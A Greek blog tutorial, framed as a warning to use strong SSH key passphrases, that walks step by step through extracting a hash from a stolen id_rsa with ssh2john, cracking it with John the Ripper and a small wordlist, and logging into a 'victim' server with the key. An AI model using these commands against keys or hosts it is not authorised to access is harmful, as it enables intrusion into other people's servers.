Ο κωδικός του ιδιωτικού κλειδιού του SSH δεν πρέπει να είναι απλά διακοσμητικό στοιχείο. Δυστυχώς κάποιοι νομίζουν ότι δεν θα χάσουν ποτέ το private key του SSH και αμελούν την χρήση ισχυρού συνθηματικού.

Στον οδηγό 10 απλά βήματα για ένα ασφαλές SSH είχαμε δει το SSH (εκ του Secure Shell) πρωτόκολλο το οποίο χρησιμοποιείται για ασφαλείς (κρυπτογραφημένες) συνδέσεις με απομακρυσμένους υπολογιστές / servers. Χρησιμοποιείται όχι μόνο για εκτέλεση εντολών σε τερματικό του server αλλά και για μεταφορά αρχείων από και προς τον server (π.χ. με FileZilla για μεταφορά αρχείων σε Server ) ή ακόμα και για μεταφορά ήχου μέσω ssh.

Αντιλαμβάνεστε λοιπόν από τα παραπάνω την «δύναμή» του και το πόσο σημασία έχει να έχετε ένα ασφαλές ssh. Δυστυχώς όμως κάποιο δεν αντιλαμβάνονται την σοβαρότητα του ζητήματος και πάσχοντες από το σύνδρομο «σε μένα θα τύχει;» γίνονται οι server τους πιόνια του FritzFrog Botnet |Επιθέσεις σε διακομιστές SSH ενός εξελιγμένου peer-to-peer (P2P) botnet που παραβιάζει τους SSH servers.

Advertisements

Όσο για τον κωδικό SSH και του τι είναι ένα δυνατό συνθηματικό, δεν χρειάζεται να παιδεύεστε, τρεις ή τέσσερις απλές λέξεις ενωμένες με σημεία στίξης είναι ένα καλό και ασφαλές μοντέλο για κωδικούς πρόσβασης και συνθηματικά.

τρεις ή τέσσερις απλές λέξεις ενωμένες με σημεία στίξης
πηγή: https://xkcd.com/936/

Απλά βεβαιωθείτε ότι θυμάστε το συνθηματικό. 

Στο παρακάτω σενάριο λοιπόν, θα δούμε τι θα συμβεί αν δεν έχετε ασχοληθεί στα πρώτα 10 λεπτά σε έναν νέο Server με Βασικές ρυθμίσεις ασφαλείας ή καταφέρατε να χάσετε το SSH private key σας στο οποίο είχατε βάλει ένα εύκολο κωδικό.

Εγκαταστήστε το SSH2John στον υπολογιστή σας

Το SSH2John είναι Εάν δεν είναι εγκατεστημένη η Jumbo έκδοση του John the Ripper, θα πρέπει να κατεβάσετε το ssh2john από το GitHub, καθώς δεν περιλαμβάνεται στο Kali Linux. (Εάν δεν έχετε εγκαταστήσει τον John the Ripper, μπορείτε να μάθετε πώς να το εγκαταστήσετε από το GitHub του.) 

Ανοίγουμε τερματικό και το κατεβάζουμε:

~# wget https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo/run/ssh2john.py

--2020-09-01 12:26:03--  https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo/run/ssh2john.py
HTTP request sent, awaiting response... 200 OK
Length: 7825 (7.6K) [text/plain]
Saving to: ‘ssh2john.py’

ssh2john.py                               100%[=======================>]   7.64K  --.-KB/s    in 0s

Πάμε τώρα να σπάσουμε τον κωδικό του SSH private Key.

Σπάστε το ιδιωτικό κλειδί

Το μόνο που πρέπει να κάνουμε είναι να το τρέξουμε το εργαλείο ssh2john έναντι του ιδιωτικού κλειδιού και να ανακατευθύνουμε τα αποτελέσματα σε ένα νέο αρχείο hash χρησιμοποιώντας :

python ssh2john.py id_rsa > id_rsa.hash

Στη συνέχεια, θα χρησιμοποιήσουμε το John the ripper για να σπάσουμε τον κωδικό πρόσβασης. Αλλά πρώτα, χρειαζόμαστε ένα κατάλληλο λεξικό (word list). Για τους σκοπούς του παρόντος οδηγού θα χρησιμοποιήσουμε ένα μικρό που έχει 100 λέξεις για να δείξουμε πως γίνετε με απλό τρόπο. Κατεβάστε το:

~# wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/darkweb2017-top100.txt

Τώρα τρέξτε το John στο Kali Linux όπως συνήθως, τροφοδοτώντας το με τη λίστα λέξεων και το αρχείο hash:

john --wordlist=darkweb2017-top100.txt id_rsa.hash

Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
1q2w3e4r5t           (id_rsa)
Session completed

Μπορούμε να δούμε ότι αναγνώρισε τον κωδικό πρόσβασής μας, αλλά για να είμαστε σίγουροι, ας χρησιμοποιήσουμε την εντολή –show για να το επαληθεύσουμε:

john --show id_rsa.hash

id_rsa:1q2w3e4r5t

1 password hash cracked, 0 lef

Όπως βλέπετε, ακόμα και το 1q2w3e4r5t που στο κοινό μάτι μπορεί να φανεί δύσκολο να σπάσει … δυστυχώς για εσένα που το χρησιμοποιείς… είναι ζήτημα λεξικού.

Advertisements

Πρόσβαση SSH στο θύμα

Με το κλειδί σπασμένο το μόνο που μένει είναι να το χρησιμοποιήσουμε έναντι του στόχου για το οποίο χρησιμοποιείται το συγκεκριμένο κλειδί. Χρησιμοποιώντας την επιλογή -i στην εντολή SSH μπορούμε να καθορίσουμε το ιδιωτικό κλειδί που θα χρησιμοποιήσουμε για έλεγχο ταυτότητας:

ssh -i id_rsa luser@10.10.10.10

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@         WARNING: UNPROTECTED PRIVATE KEY FILE!          @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Permissions 0644 for 'id_rsa' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
Load key "id_rsa": bad permissions
luser@10.10.10.10's password

Δεν θα μας επιτρέψει να χρησιμοποιήσουμε το κλειδί εάν τα δικαιώματα είναι πολύ … χαλαρά. Οπότε το μόνο που πρέπει να κάνουμε είναι να ορίσουμε κάποια ποιο αυστηρά δικαιώματα χρήσης του ιδιωτικού κλειδιού:

chmod 400 id_rsa

Τώρα είμαστε σε θέση να συνδεθούμε. Στη συνέχεια, εισάγουμε τον κωδικό πρόσβασης που έχουμε σπάσει οπότε και στο μήνυμα μας εμφανίζει οτι συνδεθήκαμε:

~# ssh -i id_rsa nullbyte@10.10.10.10

Enter passphrase for key 'id_rsa':
Last login: Tue Sep 1 15:20:16 2020 from 10.10.10.1

luser@target:~$

Επίλογος

Στο παρόν σύντομο οδηγό, είδαμε το πώς μπορεί κάποιος να σπάσει τους κωδικούς SSH πρόσβασης.

Στις περισσότερες των περιπτώσεων αυτά γίνονται μαζικά και αυτοματοποιημένα και τα κλειδιά SSH σπάνε σαν τα μαρουλόφυλλα εάν δεν προσέχουμε την συνολική ασφάλεια του συστήματός μας και έχουμε την ψευδαίσθηση ότι εφόσον έχουμε Linux Server είμαστε ασφαλείς. Όπως ίσως διαβάσατε και στο Αρκετά με το FUD σχετικά με τρύπες ασφαλείας στο Linux θα καταλάβατε ότι η ασφάλεια δεν είναι ένα τελικό προϊόν αλλά μια αδιάκοπη διαδικασία.